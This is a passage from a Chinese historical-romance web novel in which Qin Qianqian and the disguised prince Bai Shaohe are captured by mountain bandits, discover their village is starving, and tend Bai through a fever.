他无声起身，跟这白邵禾走到远处。盛怒之下，白邵禾一拳打在了晏信脸颊，他压低声音，几乎是咬牙切齿地质问他。
“你知不知道她被你带出来，有可能会遇到什么危险！那是你自己根本无法解决的危机。”
白邵禾昨晚就是在这种坐立不安中越发愤怒的，他甚至庆幸自己没有听秦千千的话，再拖下去，不知道她会出什么事。
现在的他也顾不上平时什么克己复礼了，他满腔的怒火无处发泄。只能一句一句地警告晏信。
“你和她的事情，万万不能告诉任何人，不然日后，你就成了她的把柄。”
“还有，你若是有良知的话，就不要拿男女之事要挟她。”
这些指责晏信全部认下，毕竟自己一时头脑发热把她拐出来，的确没有考虑到她的安全问题。
可唯独最后一项，听得他甚是迷惑。再转头一看还在睡觉的秦千千，他恍然大悟，白邵禾是误会他了。
“不是，邵禾兄，你误会了。昨夜我们两个彻夜长谈，千千替我解开了很多疑惑，我们之间并没有那种关系。”
正在气头上的白邵禾，一时语塞。
果然是近朱者赤，近墨者黑。哪怕聪明如秦千千，遇上晏信也失了智。
白邵禾原本以为，秦千千是看上了晏信，想跟他共度春宵。她这种生意人，哪有什么平白无故对别人好，肯定是有所谋求的。
他心想秦千千若真是这样想，那他还姑且认为，她还算是有点谋求。可谁知现在她比自己想象之中，要傻的多。
就这么跑出来，跟晏信躺在露水浓重的草地上，指不定回去还要生病，为的居然是跟晏信聊聊天？
白邵禾心中无语，但也悄悄松了口气，最起码这至少能证明，秦千千并没有喜欢上晏信。
前夜和昨夜的一夜无眠，让他想通了一件事：自己之所以对晏信看不惯，正式因为他担心秦千千喜欢上晏信。
自己为什么会担心她喜欢谁呢？
因为她有了喜欢的人，自己还怎么接近她，怎么实现自己的计划呢？白邵禾对自己的这个想法，深以为然。
70. 不辞而别
所以在听到晏信要离开的时候，白邵禾没有丝毫诧异，他只不过有些忧虑。
“可你不跟千千打声招呼吗？”
“不了，我怕到时候我又舍不得走了。”
别说到时候，白邵禾看他现在就依依不舍的样子，心中甚是无语。
“晏公子，俗话说得好，快刀斩乱麻。”白邵禾话说到这里，晏信决绝地转过头，收回看向秦千千的视线。
“邵禾兄，万事珍重，我们有缘再见。”
目送他远去后，白邵禾朝秦千千那边走过去，途中还悄悄叹了口气。
他守在不近不远处半个时辰，秦千千不知做了什么噩梦，浑身一颤猛地坐了起来。她眼神清明后环顾四周，才发现晏信不见了。看到不远处的白邵禾后，才长出一口气，用袖子擦掉额头上的汗。
“做噩梦了？”白邵禾朝她伸出手，把人拉起来后，秦千千才回复他。
“梦到一个人要杀我，刀都架在我脖子上了！”她抬手在自己脖子上比划，看得白邵禾有点忍俊不禁。“对了，晏信是走了吗？我是说，他不跟我们同行了。”
白邵禾没想到她直接猜到了，就稍有惊讶地点头：“你知道他要走？”
秦千千站在原地，转动自己的脚踝，揉揉自己的胳膊，睡在草地上，还是有点太硌人了。
“何止知道，简直是我把他劝走的！什么礼仪纲常、天道仁德，我跟他说了一个晚上，所以他走，我也不奇怪。”
“你讨厌晏信？”
白邵禾的话很是尖锐，听得她连忙否认。
“不，晏信这个人，我是挺欣赏他的。只不过，他有自己要做的事情，只不过他没有意识到而已。”
她被太阳照到睁不开眼，就眯着眼转身，可恰巧最后面对的方向，就是晏信离开的方向。白邵禾心中一惊，不过他什么都没有表露出来，虽然他现在是被对着自己。
“我想让他走，最关键的原因是，跟着我会有数不尽的麻烦，甚至惹上杀身之祸。”
说到这里，白邵禾刚好走到她面前，秦千千面色冷峻地抬眼看着他，他从其中看出一点忧伤，不知为何，还有一丝释然。
“下一个劝的就是你。”她说的认真。
白邵禾有些不可置信地歪头：“我可不是晏信，会被三言两语地劝跑。再说我没有他那种大任要抗，这条命，赔上也没什么。”
秦千千长叹一口气，决定先放下这个沉重的话题，她提议赶紧回去，留守茅安镇的人肯定急坏了。而她们刚回去，秦千千去丁府换了身衣服，就要带着白邵禾他们离开。
看她这么着急，桑风雪和王老怪虽然疑惑，但没有明说。毕竟她们都知道秦千千有自己的考量，不是什么事情都适合在外面谈的。
白邵禾也猜到了，她解决好丁家的事情，应该要立马启程奔赴主线——解决清风酒的问题了。
“千千，要我说你们就在这里多留两天吧。”宣聆凤十分不舍地握住她的手，虽然已经送到府门口，但她还是想再留留。
从知道她是整个丁家的救命恩人，到现在要送她们离开，满打满算才三天，宣聆凤是真的很舍不得他。一向沉默寡言的丁芮熠也附和自己夫人，想让她们多停留几天。
白邵禾本来想开口正经解释一下，但秦千千两句话，直接打得他们措不及防。
“新婚燕尔，我的夫君却抛下我跑了，这我不去追上他问个明白，我真的咽不下这口气！”说罢，她还抿着嘴，装作泫然若泣的样子。
若不是众目睽睽，白邵禾真的会笑出声，他悄然转过头，望向别处，生怕被别人发现他的嘴角上扬。
不过丁芮熠和宣聆凤实在是盛情难却，她们非要安排一辆马车，送秦千千她们上路，只不过丰厚的盘缠被秦千千她们一起回绝了。
也正是由于丁家两口子，才使白邵禾得到了下一站的地点——灵川坡。得到消息的暗卫也赶忙往那里赶去，提前展开布控。
这次路上花的时间比之前都要长，一路颠簸了十五天，才终于到了依稀分辨出灵川坡的地方。沿途她们就在一些小客栈歇脚，而这个歇脚时间就是暗卫跟白邵禾汇报的节点。
这十五天，朝堂也发生一些变动，筛去无关秦千千的，白邵禾捕捉到一个关键事件——天下最大的米行出了一些问题，导致他们的生意几乎是完全停摆。
他知道，这都是秦千千的手笔。
可朝廷传来的消息又说，一切还没有查明，还需要时间核验具体的案件。也就是说，四足鼎立的米行现状，不一定会被打破。
白邵禾莫名觉得，秦千千的主要目的不是扳倒这些人，她更像是在拖时间。难不成，是拖她回京的时间？
他得到的消息，已经是八百里加急送过来的了。而秦千千的消息，只会比他的还要慢。
白邵禾认为，她不管采用什么行动，都要等形式明朗之后才最好。那最好的机会，就是她重回京都，坐镇清风酒楼时。所以，他吩咐人传信会京都，密切观察，但不要采取任何行动。
也正是因为这样，枫林镇还有茅安镇的事情，白邵禾都压着还没处理。秋后算账，现在不急。
在一座仿佛被开山斧劈开的山谷外面，秦千千兴奋地让所有人下车，跟他们介绍起眼前“一线天”的壮丽画面。
“所谓一线天，是说站在山谷中间，抬头看，天就变成窄窄一条了。而且这峭壁的颜色有点灰黑色，所以会衬得天更加的漂亮。”
秦千千声情并茂的话，并没有打动王老怪，他打了个长长的哈欠，百无聊赖地问她：“你来过这里吗？还有，既然要去山谷中间看，为什么不让我们在中间下车。”
白邵禾也若有所思地看着她，桑风雪本想替她说两句，但张张嘴还是放弃了。在桃花花开口前，秦千千抬手示意她闭嘴。
说真心话，她真后悔让晏信走了
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……
“因为山谷中不好走，马车得从那边山谷上面翻过去，想看一线天的风景，那就得走下去。”她抬手指了指王老怪，“我当然没来过，正是因为没来过，我才想来看看呗。”
王老怪是什么人，他自然要反驳两句：“我不想看，我要坐马车走。”
两个人争执半天，谁也不让谁，最后还是白邵禾出来主持大局，让王老怪跟车夫一起走，剩下的人跟秦千千进山谷。
白邵禾已经看明白了，这个山谷易守难攻，不出意外的话，一定会有山匪在此埋伏。因此他无论如何，都得跟秦千千一起。
越往山谷深处走，脚下的碎石就越多，路就越崎岖。
秦千千和桃花花两个人左右拉着桑风雪的手，三个人一起左摇右摆地向前走。元德看着前面的三个人，无奈地摇头，白邵禾倒是心情颇好。
他发现，自己很喜欢秦千千失算之前的洋洋得意。无疑，现在还在嘴硬这里风景好的她，白邵禾趁她不注意多看了几眼。
“千千，我觉得这里的位置就差不多了。”桑风雪也想不明白，虽然周围很静，说话的回声，都能在仅容四五人并排通过的山谷中回荡，但她还是觉得自己听到一些细微的动静。
窸窸窣窣的，听不真切。
听到桑姐姐的话，秦千千这才有空抬头看天，剩下的人也都跟着抬头。
果然，在山谷外感觉一般蓝的天，在这里看就像出窑的青云瓶，质地澄澈、颜色靓丽，甚至又一些刺眼……
“真的好漂亮的天啊！”秦千千由衷地感叹。
白邵禾也在心中感叹，这就是万里河山的绝妙之处，十里春风十里景！若非亲眼所见，他也想象不到这谷底的景况如此绝妙。
秦千千说话的余音还在山谷中回响，头顶两侧的山顶就冒出两排人，朝着谷底喊：站在原地受降，不许反抗！
不愿错过秦千千的精彩表情，白邵禾默默往前走了一步。秦千千牙都快要碎了，十分不服气地翻了个白眼，可看清山顶架着的弓箭手时，她还是怂了。
那些山匪也是聪明，秦千千原本提议她们自己走出去，但山匪不愿意冒险，给她们扔下去绳子，让她们互相捆上。
“最后留一个人不捆，就你了，一直说话那个！你把剩下的人都捆了。”
白邵禾想山匪头子已经看明白，秦千千是这里面最好惹的人了。
秦千千捆的不紧，而且把活扣的解绳绑在了每个人的手边。可以说，只要出了山谷，不管山匪有多少个人，他们都不在话下的。
“放心，没什么大碍的。”白邵禾还低声宽慰她，她无声点头。
谁知道山匪突然又扔下来一个麻绳圈，让秦千千拴在腰上，要把她拽上去。白邵禾眯着眼抬头，试图看清那些山匪，这些人的确还是有些头脑的。
原来不是以为秦千千最好惹，而是看出她的地位，拿捏她，就能要挟所有人。
71. 兵分两路纷纷被逮
后来他们按照山匪的要求，在秦千千被捆后，才排着队走出山谷。
谷外等着的山匪，直接把刀架在秦千千脖子上，白邵禾小声让大家不要轻举妄动。
眼前的二十来个人，看起来良莠不齐的样子，最让他担心的就是那把架在秦千千脖子上的刀。
“哎哎哎！大哥！大哥！你要什么我都给你，你可千万别杀我呀！”
一道熟悉的声音从人群中传来，两位额头上捆着黑布的小喽啰，压着一个人走过来。走到大哥面前，他们直接使劲一推，就把王老怪推到地上。
王老怪老老实实地跪在地上，秦千千忙中偷闲甚至要笑出声，可惜被山匪头子一记眼刀警告，立马抿紧了嘴。
“我们在灵川山谷这么多年，向来都是公正交易的。要么把命留下，要么把钱留下！你们自己选择吧。”
为首的人对白邵禾他们说完，又转头问跪在地上的王老怪听清了没，他甚至让人把王老怪扶起来。
秦千千在心中嘀咕，这算哪门子公正？这不强词夺理嘛！而且她从来没有听说过这里有山匪，那就只能说明一点，他们在骗人。
“等等！”看到山匪头子看过来后，秦千千这才继续说：“那我们怎么相信，你们说的就是真的？”
“你可以问这人，我们是不是直接放了他的马夫！我们是不会欺负苦命之人的！”押送王老怪的其中一人，有些憨实地反驳她，还拉着王老怪的胳膊，让他给自己作证。
他们不如干脆说，自己是劫富济贫的侠义之士算了……
秦千千表情复杂地打量他们，不知该说什么。白邵禾仗着身高优势，抬头看向远处。
那里风尘渐起，看起来像是有人冲过来了。为首的察觉到他的表情，就转头回看，几乎是在转头的同一瞬间，他喊了声不好。
“是冉老狗！快，我们赶紧离开！”
这二十多个人，再加上秦千千她们六个人，撤退得也快。那些人挟持着她们狂奔，往旁边光秃秃的高山上跑去。
白邵禾沿途观察，发现这山上寸草不生，比起纵虎岭那种林深成障的环境，这里情况要恶劣的多。那占据高位的唯一好处，就是易守难攻。
果然，上了第一个大坡，这边的土匪就停下脚步，开始准备反击了。而山脚下百十来号人，也都不往前再追。
人群中，有个人身着白衣，看着格外显眼。他负手走上前，朝山上喊话。
“段沙！代我向我娘亲问好，咱们早晚需要坐下来好好谈谈的。看起来，现在不像是那个好时间！”说罢，他就潇洒地挥挥手，带着百十来号人离开了。
秦千千被捆住手脚，仰面倚在近乎垂直的石头崖壁上，白邵禾正好站在她左手边，他察觉到她整个人都呆滞了，就有些担忧地低头问她：“没事吧？”
她摇摇头，只是默默在心中想，段沙这个名字，她总觉得在哪里听到过。再加上看起来就是段沙死对头的“冉老狗”，她低头沉思。
这是她思考的标志性动作：低头垂眸，这样谁都看不出她眼中的波澜。
桑风雪本想提醒白邵禾，别打断她，毕竟秦千千最讨厌别人在这时候打扰她。可白邵禾非常自觉地闭嘴，那边的段沙倒是闹腾起来。
他站在原地使劲踢了一下身前挡着的大石头，嘴里还骂骂咧咧的，十分恶毒地咒骂冉老狗。他的手下也跟着生气，大家吵吵嚷嚷的。
嘈杂声音吵得白邵禾耳朵疼，他转移注意力，开始观察起四周的环境：
不知是人为摆放还是浑然天成，他们站立的地方，是一条壕沟，大概五人宽。背靠灰黑色的石头山，眼前垒成半人高的石头外围。
的确是个非常适合鱼死网破的地方。
他仔细观察发现，那些外围的石头是活络的，也就是说，这些全都可以当做滚石推下去。跟攻城时，士兵从城墙上扔下来的滚石作用相同。
而且这么有分量的石头，怪不得山脚下的百十来号人不敢攻上来。
想到这里，白邵禾抬头顺着山势望去，目光可及的这种陷阱，大概有四五圈。而供人行走的羊肠小道，就这么沿着山势盘旋，一直到山顶。
段沙发泄够了情绪，就指着秦千千，吼了她一声。
“哎！现在你们也没有别的选择，跟我们上山待一段时间吧！现在放你们下山，被冉老狗抓到也是个死。”
秦千千恍然回神，立马点头，她赶忙看了一眼身边的人，白邵禾他们都没什么异议。
就这样，她们跟着段沙，沿着蜿蜒的小路，直到日暮才走到地方——山顶居然还有个部落。
不过山上的人，看起来不算多。
秦千千在心中估算，估计最多也就二三百口人，还都是把老弱妇孺全都加上。
听冉老狗的说法，他的娘亲应该是被段沙挟持了的，秦千千很好奇，她们会不会和她关在一起。要真是这样，她还可以从老太太口中，打探很多消息。
比起双手被束缚在身前的秦千千，被捆紧上身的剩下几个人，要更累得多，不是姿势拿捏的人难受，而是她们要时刻注意，不能让堪堪松掉的绳子散开……
她们跟着段沙，走到村前的空地上，他转身盯着秦千千她们几个人。那打量的眼神，盯得白邵禾心中十分不快。
“各位，不用装了，直接把绳子解开吧。”他早就看出来，秦千千给他们绑的是活扣。“我们说到做到，你们把钱财留下，我们就放你们平安离开。”
桑风雪、白邵禾率先松开绳子，元德和桃花花也紧随其后，把松开的麻绳扔在地上。桑风雪抬眼看了看身后的王老怪，没有言语。
白邵禾上前去把秦千千手上的绳子也解开，在他低头解绳子的时候，秦千千同意了段沙的说法。
“可以是可以，但你们能留我们在这里住一段时间吗？”秦千千歪头，越过白邵禾看段沙。白邵禾不解地抬头看她一眼，她抬手拍了拍白邵禾的手背，示意他放心。
段沙沉思片刻，就立马同意了。毕竟刚刚他在山下也说了，现在让她们走，那就是直接要她们死了。
秦千千也按允诺，直接掏出身上的银两，看到手上晏信趁自己睡着套上的翡翠镯子时，她愣了一下。
这个不能交出去。
察觉到她的迟疑时，白邵禾瞥了一眼那个成色还算过得去的镯子，他知道那是晏信送的。也就只有他那种缺乏洞察力的人，才会送秦千千这种东西。
在此之前，秦千千浑身上下没有一件首饰。
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或许是嫌弃这些东西麻烦，也或许是觉得行走江湖不宜太招摇。而且白邵禾注意到，桑风雪的装扮也是如此。也就桃花花比较喜欢这种装饰品。
可晏信偏偏送了个玉镯，白邵禾实在是看不上。
连他这种久居深宫的人都知道，太招摇必会招致灾祸。更何况现在他们在被抢劫……
“段大哥，这个镯子我不能交给你。这是我相公送我的，新婚之夜他抛下我跑了，我要带着这个信物去找他的。”
白邵禾不得不佩服，她演得那是出神入化！现在那一脸委屈的样子，好像说得跟真的一样。只不过，他觉得山匪不一定会被说动。
段沙眼神复杂地打量她，不过看着眼前托盘里已经放了不少钱财，就大手一挥：“罢了，那个就不要了。”
白邵禾一脸惊讶，没想到，段沙居然答应了！
段沙还给她们安排了个茅草屋，天擦黑时，还有人替她们在门口生了一堆火。傍晚，她们吃完段沙手下送来的饭，其实也就是几个窝窝头和一锅稀饭后，几个人坐在茅屋前的小火堆旁聊天。
桃花花在跟王老怪争辩今日的事情，剩下的人都在静静地听，包括秦千千，她也默不作声。
“连我都知道，我们分头被抓的这种情况，你就别说认识我们嘛！这样咱们还不至于被人一网打尽，你倒好，不是我和桑姐姐死命眼神暗示你，你是不是就要当着他们的面跟我们站在一起了？”
王老怪用手中的棍子，有一下没一下地捅着火，语气随便地说：“哎呀，他们要真是穷凶极恶的人，那杀一波人和杀两拨人也没什么区别了。”
这边两个人还在喋喋不休地争吵，白邵禾注意到，秦千千眼睛一直看着跳动的火焰，几乎是眨都不眨。
“千千，想什么呢？”他轻声开口，视线从她的脸，最后落到了她的左手腕。
她一秒回过神，但眼神仍然有些迷离：“你发现没有，这个段沙是个好人啊。”
这话听得在场的人都沉默了，王老怪手中的烧火棍，吧嗒一声掉在地上。
“不是，不能因为他给你留了个镯子，就能证明他是好人了吧？”王老怪实在忍不住了，就反驳她。
他们被抢走三四百两银子，这是实打实的事情啊！
桑风雪不好说什么，她觉得秦千千做什么、说什么都自有道理，就跟姜千秋一样，因此她绝不怀疑。元德属于敢怒不敢言，只能在脸上表露出自己的疑惑。
唯独桃花花，使劲眨巴自己的眼睛，“我是不是都困出幻觉了！”
秦千千失笑，其实仔细观察一下就会发现，更坏的明明是山下的那群冉老狗的人。
而段沙作为整个村落的大哥，在这鸟不拉屎的地方要想维持生计，抢劫或许是他们唯一的出路。这的确是不道德的，秦千千要夸的也不是这一点。
她也想明白，为什么自己知晓天下事，却不知道这里有劫匪了。那是因为段沙他们放行的人，也会被冉老狗他们诛杀殆尽。
消息只进不出，那怎么能传出去呢？
“怎么说？”白邵禾也不懂。
“被逼上末路的好人，你说，他还是好人吗？”秦千千反问他，不等白邵禾回答，她继续说：“我觉得是。”
72. 歃血兄弟反目成仇
十多年前，灵川坡这边盘踞了一方恶霸，欺行霸市，甚至连当地的官衙都得看他们的脸色。百姓苦不堪言。
长久积压的天怒人怨，早晚会有彻底爆发的一天。
段沙河和冉喜民，就是那两位英雄。他们横空而出，带着自发集结的起义军，用血与泪，争取到了属于自己的一片青天。
可是尝到权利的甜头后，冉喜民就再也没办法，去过面朝黄土背朝天的日子了。也就是这时，他跟段沙分道扬镳，甚至闹到倒戈相向……
“各种缘由我不是很清楚，反正这两位是不共戴天了。只是我没想到，当年江湖上人人称赞的天下双雄，竟然闹得这步田地。”秦千千啧啧感叹，桃花花则是十分不解。
“他们这里这么乱，朝廷怎么不管管呢？虽说天高皇帝远，但咱们皇上也不能一点都不管吧？”
她说得认真，却听得所有人都沉默了，白邵禾与元德尤其不解。
他们万万没有想到，出了茅安镇就不是南梁朝地界的事情，居然会有人不知道……
正是由于这里太过偏僻，又资源贫瘠，南梁朝压根就没想拿下这片土地。灵川坡所属的天海朝，是个小国，再加上近些年战火不断，根本无力管辖骚乱的地方。
于是，天海朝的三州，几乎都是跟灵川坡一样，土皇帝当道，群雄割据。
秦千千耐着性子跟她解释完，还提了一件事情。
“今年天海朝的皇帝，不还拿了三百颗海珠进献南梁朝，以求庇佑吗？他们甘愿成为南梁朝的番邦，只可惜，咱们的皇帝拒绝了。”
白邵禾听到这里丝毫不惊讶，这种朝堂大事，她知道的确是很正常。只不过，他没想到在治国这一方面，她还能说出自己的见解。
“不过我觉得真是可惜了，不战而降人之兵，这可是兵书的上上策啊！而且天海三州虽然不大，但胜在资源多，若是能好好治理，也未尝不是一件好事。”
说到这里，秦千千惋惜地摇摇头，拱手相让的好处，当官的非不要，真是糊涂啊！
白邵禾眉尾一挑，他对她的看法十分不满意。当初正是自己力荐父王，否决这个请求的。
光天海朝的内乱，少说也得一年时间平复，这一年中劳民伤财的，他南梁朝国库中的钱，也不是大风刮来的。最关键的一点是，天海离南梁朝还是太远了。
天高皇帝远，不是没有道理的。
而且三州割据，现如今那些诸侯都不是等闲之辈，他们怎么会束手就擒，做一辈子的藩王呢？
“我觉得这天海三州，肯定不乏段冉之辈，他们野心勃勃，期望着成一番宏图伟业，断然不会跟着他们的王一同受降。那到时候还得南梁朝出兵平叛，或许朝廷正是考虑到这一点，才婉拒了这个提议吧。”
白邵禾说罢，就看着秦千千，她噗嗤一声笑了出来。
“邵禾兄的确是高瞻远瞩，很适合去朝廷里做官啊！”
这句揶揄他的话，听得元德心跳如擂鼓，身体都有些僵硬了。
白邵禾知道她这是玩笑话，就意味深长地点头：“等在江湖飘荡累了，我就依你所言，去朝堂中做官。”
“那到时候，我们清风酒楼也能跟着沾光了！”说罢，秦千千脸上的笑容渐渐褪去，开始正经跟他分析。“你刚刚的说法，作为官员来说，一点错都没有。可站在天子的角度来看，就有些美中不足了。”
做事不能只计较眼前的得失，还得看日后的事态走向。当下平复天海朝的确需要巨大的投入，可跟天海朝每年的产出来比，就会发现一切都是值得的。
“不说别的事情，邵禾兄以为，天海朝内忧外患十几年，他们的朝局依旧没有覆灭，这靠的是什么？”
秦千千的一番话犹如兜头冷水，让白邵禾恍然大悟：朝局依然□□，靠的就是他们不惜重金，到处采买兵器，招募士兵。
优渥的待遇，让天海朝有前赴后继为它战斗的人。毕竟一人战死，那他的家人，就可以获得一大笔钱财。这种生意，很是让人眼红。
靠山吃山，靠水吃水。天海朝守着的汪洋大海，物资产出是格外丰富。当初他们进京，一挥手就是三百颗核桃大小的海珠。
要知道，白邵禾为了给自己母后祝寿，搜罗遍南梁朝，才找到三十个那般大的珍珠。
只不过仅凭这些，还是说服不了白邵禾。
“可海产这种东西，都是看天吃饭的，不能指望年年都有好的收成吧。”白邵禾故意这么说，他想看看，秦千千会不会“言多必失”。
而她丝毫没想藏着掖着，手一拍膝盖，十分懊悔地说：“可是说呢！我有证据能证明他们每年就是赚很多银子，三个月前我去求见穆轩岚，想告诉他这个事情，可是储君不见我，这事儿只能作罢。”
一国储君都不见的人，别的皇子诸侯，自然也不敢来打听这个事情。
白邵禾突然无措地眨眨眼，他记得这个事情！但当时他正在谋划打入清风酒楼的事宜，千算万算觉得自己不适合跟她见面，就婉拒了她。
没想到，她居然是要跟自己说这个事情……
“没想到你还如此忧国忧民呢。”心绪混乱，白邵禾心里这么想的，也就这么毫无防备地说出来。
话一出口，他就知道自己失言了。
桑风雪眉头紧锁，她怎么从中听出一股嘲讽的意味？老谋深算的王老怪也蓦然抬头，看着白邵禾，毕竟他这话说的，不是很中听。
元德也察觉到她们二人的变化，他攥紧手里的树枝，手心全是冷汗。
“我不是……”白邵禾一脸凝重地解释，秦千千却笑着摇头，“我知道你不是那个意思。可惜我这忧国忧民的人，没有遇上明主啊！”
很好，归根结底，自己还是被骂了。白邵禾十分哭笑不得，不知道的还以为她在指桑骂槐呢。
不过她骂得对，的确是因为自己的谋划，错过了一个天赐良机。
至于那个证据到底多详细，能不能动摇他之前的判断。白邵禾想，若是他身份大白后，两个人还能心平气和地坐下来谈话，那他一定找秦千千虚心求教。
只不过，到时候什么情况，谁都不好说。
夜色渐深，一行人回到屋中休息。茅屋中的条件十分简陋，别说床，每个人有一铺茅草垫子，已经算是奢侈的了。
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好在茅屋够大，她们刚好按男女分开，各睡在门的两侧。
桑风雪担心秦千千着凉，还专门让她和桃花花睡在里面，自己睡在门边。那边元德睡在最外面，王老怪睡在最里面。今天每个人都累的够呛，大家躺下后都沉沉睡去。
唯独白邵禾，睁着眼睛，在脑中思考着什么。听到外面的第一声鸡叫的时候，他才稍有困意。小憩没多久，他就听到了屋中人起来的声音。
“嘘，让他睡吧。”
他听到秦千千压着声音把元德叫走，然后他们在外面窸窸窣窣地，不知道在干什么。白邵禾头痛欲裂，他想自己或许是着了风寒，四肢沉得几乎抬不动。
不过也好，只有这样，他才能有空歇息一下。
段沙没有交代她们不能乱走，那在秦千千看来，就可以到处转转。她朝着村落中最高的一处房子走去，桃花花和王老怪留守在昨晚住的房子前。
至于元德和桑风雪，她们找了块儿开阔的地方，活动筋骨去了。在这里她们时刻都要提防别人，因此一天下来，身上也是乏累的很。
再加上昨天又睡在地上，每个人起床后身体都跟被揍了一样疼。
秦千千一瘸一拐地走到那个茅屋前面，她双手掐着腰，累得上气不接下气。
“就这数百步路，居然能把我累成这个样子！”
“谁家丫头！”
她正在喃喃自语，被屋中突然传来的呵斥声吓了一跳，听起来，是位年长的婆婆。秦千千快步走上千，扒着到她肩膀高的篱笆，跟里面的人打招呼。
“婆……”
哎？段沙怎么也在这里？
显然段沙也很惊讶，他放下陶碗，气势汹汹地走过来。秦千千有些发怵地后仰一些，段沙看出她在害怕，就面色不悦地站定在离她一臂远的地方。
“你乱跑什么？”
“我有事儿要跟你谈。”
看她眼神认真，不像在开玩笑。段沙转头跟院子中一个头发花白，但精神矍铄的老太太打招呼：“娘，你先吃饭吧，我待会儿就回来。”
谁知道两个人刚并排走出门，秦千千就跟他商量，给自己的伙伴们送饭过去。
段沙眯着眼看她，那不悦的表情仿佛在说：你别告诉我，你喊我出来就是要饭吃的！
秦千千赶紧摆手否认，说自己有要事跟他商谈，但需要一个稍微安静点的地方。
两个人在往村子边走的时候，突然有个小孩儿从旁边的稻草堆里跑出来，一个不注意就撞到了她。她站在原地纹丝不动，那小孩儿反而被弹出去，跌坐在地上。
秦千千赶紧弯腰去扶他，可双手伸到他腋下的时候，好像摸到了什么很可怕的东西，吓得她猛地收回双手，立马从地上弹了起来。
那四五岁的小孩儿，也被她的动作吓到，段沙赶忙过来扶起小孩儿，安抚他赶紧回家。他走后，段沙才眼神阴郁地看着秦千千。
她早就调理好情绪，也想到自己摸到的是什么了。
那是人根根分明的肋骨！
“段沙，你们现在是不是断粮了？”秦千千沉声开口，只一句话，就让段沙咬紧了牙关。
73. 阴差阳错救了急
一般家中最不可能饿到的就是孩童，毕竟，他们吃的也不是很多。大人宁愿饿一些，也会把粮食让给孩子。
这个小孩已经饿到瘦骨嶙峋，那就更别说家中的大人是什么景况了。
秦千千看着一直沉默不言的段沙，娓娓道来自己的来意。
“我实话跟你说，我有法子帮你们度过这个难关。可你们不是什么都不需要做了。”
段沙脸上全是不可思议，他不信眼前这人能帮自己。但有一点希望，他都不愿意错过。因此他戒备又狐疑地问她，是何方人士，为什么要这么做。
秦千千直到今早外出，才知道自己为什么要这么做。早上闲逛的时候，她发现这个部落最中间竖着一块石碑，上面肆意挥洒地写了四个大字：
与天同乐。
她当时目瞪口呆，这不就是自己主人的字迹吗？
常年跟主人靠书信往来，她是绝对不会认错的。秦千千不解地绕着一人高的石碑转圈，转到石碑后面时，她突然看到了几个与众不同的凹陷。
那是主人教过她的暗语。
直到读懂暗语的那一刻，她才明白主人为何交代自己，去探察醴泉泉底泥的路途中，非要绕道来一趟灵川坡。
【待他攻下灵川坡，移半数秫稻与他救急】
秫稻是清风酒最主要的原料。这种酒楼最根本的东西，秦千千原以为是绝对不可以动的。
没想到，主人一挥手，就要送出去半数……
而她执意去茅安镇，反倒无意中解了当下的燃眉之急。
她原本是想叛逆一把，直接购入茅安香米，再开发一款名为明月醉的酒，看看能不能媲美清风酒。因此，她允诺丁芮熠，帮他解决当前的困境，但日后与她做生意，要让一部分利给她。
在她们从茅安镇离开后，她就安排线人去酿制一部分酒。
窖藏三个月，若是效果好，她到时就会大量购入茅安香米。那个时候，她就会直接放出那些米行死有余辜的罪证，搞垮他们，茅安香米才能在江湖上分一杯羹。
若是明月醉效果不好，那她会把罪证透露给丁芮熠，他去跟四大米行谈判，以谋求茅安香米在市面上有一些立足之地。
不管结果如何，她都能保证，茅安香米有存活之道。
现在看来，她根本不需要挪品质更上乘的秫稻，茅安香米完全可以过来填段沙这边的窟窿。
让秦千千比较苦恼的就是，现在段沙手下都是老弱病残，哪里有什么“攻下灵川坡”的实力呢？
“我是那碑上之人派来的，她为什么帮你，你应该清楚比我清楚。至于我的要求，那就是你要攻下灵川坡。”
最后一句话，秦千千犹豫片刻，还是说了出来。
段沙愣在原地，久久没有言语。
她不知道段沙是惊诧于，恩人事隔经年的指点迷津，还是要求太难，实在难以做到……
两人相顾无言的这一刻钟，秦千千觉得万分折磨。若是他求问怎么攻下灵川坡，自己那算是盖了帽了，她真的不知道啊。
“我知道该怎么做了。”段沙眼神异常坚定。
这下轮到秦千千疑惑了，“你能跟我说说，你具体要怎么做吗？”
谁知她话音刚落，桃花花就跑了过来，隔着老远就大声喊不好了，大事不好了。
秦千千只能先搁置这边的事情，往她那边跑过去，段沙也跟着过去。桃花花上气不接下气，但还是三两句话就把事情说清楚了。
白邵禾高烧不退，已经昏迷了。
“王老怪呢？有他在，还有看不了的病？”秦千千提着裙子着急忙慌地往茅屋赶，路上抽空问桃花花。桃花花一路小跑才跟上她的脚步。
“没用呀，王老怪浑身上下带的药，全被他们收走了。他现在是一点办法都没有。”说到这里，桃花花胆怯地看了一眼段沙。
他立马停住脚步，朝闷头前进的秦千千喊：“恩人，我现在就去拿你们的东西，我们在茅屋会和。”
秦千千刚到茅屋，就看到了跪在他身边的王老怪和元德，都什么时候了，这两个人还在吵架。
“他正在高烧，你不能把他抬出去！”元德一脸怨怼，他就差直接把王老怪推倒了。而且他担心白邵禾被抢走，还死死按住他的胳膊。
王老怪也是气得不行，这里只有他一个大夫，这人居然还不相信自己。“你懂医术，还是我懂？”
秦千千无语地翻了个白眼，她谁都没搭理，直接绕去白邵禾头边，用手搭上他的额头。
那温度高的烫人。
她抬起白邵禾的肩膀，把胳膊穿过他的后颈，把人扶了起来。他脑袋无力地支在她颈侧，额头上的汗凉得秦千千一颤。
元德紧张地看着她的动作，不知道她要干什么，王老怪还在喋喋不休地说，他的方法肯定管用。
“行了，你们别吵了，现在赶紧把他抬出去。元德，你不懂医术，就放手听王老怪的话。”
“可是……”元德还要再说什么。
“他要是死在这里，我给他偿命。”秦千千眉头紧锁，果断地这么说。
元德再没话说，他只得松手。
山上风大，纵使艳阳高照，山风也吹得人头痛。就更别说，被秦千千拥在怀里的白邵禾了。
他虽然人在昏迷，但还是不由自主地颤抖。而秦千千无条件相信王老怪的说法，把白邵禾的长袍脱了，只穿了里面的亵衣。
那边拿到家伙事儿的王老怪，从破布包里找出一瓶白瓷瓶的药，拿过来要喂白邵禾。
一旁的元德记得团团转，他不愿让王老怪的野路子用在殿下身上，可眼前他没有别的办法。
桑风雪沉声安慰他：“他的野路子救过我们，相信他吧。”
为了不再引起她们的怀疑，元德只好点头，敛藏起自己的担忧。
秦千千抬起白邵禾的下巴，让王老怪把药水灌了下去，然后满脸忧愁地抬头问段沙，这里有没有金银花或者银翘。
段沙一脸为难地摇头，他们这些个粗人，完全不懂什么药草。他们都是小伤靠它自己好，大伤就是等死了。
“那有酒吗？给我一坛酒也行。”
“都什么时候了，你还要喝酒？”秦千千不可思议
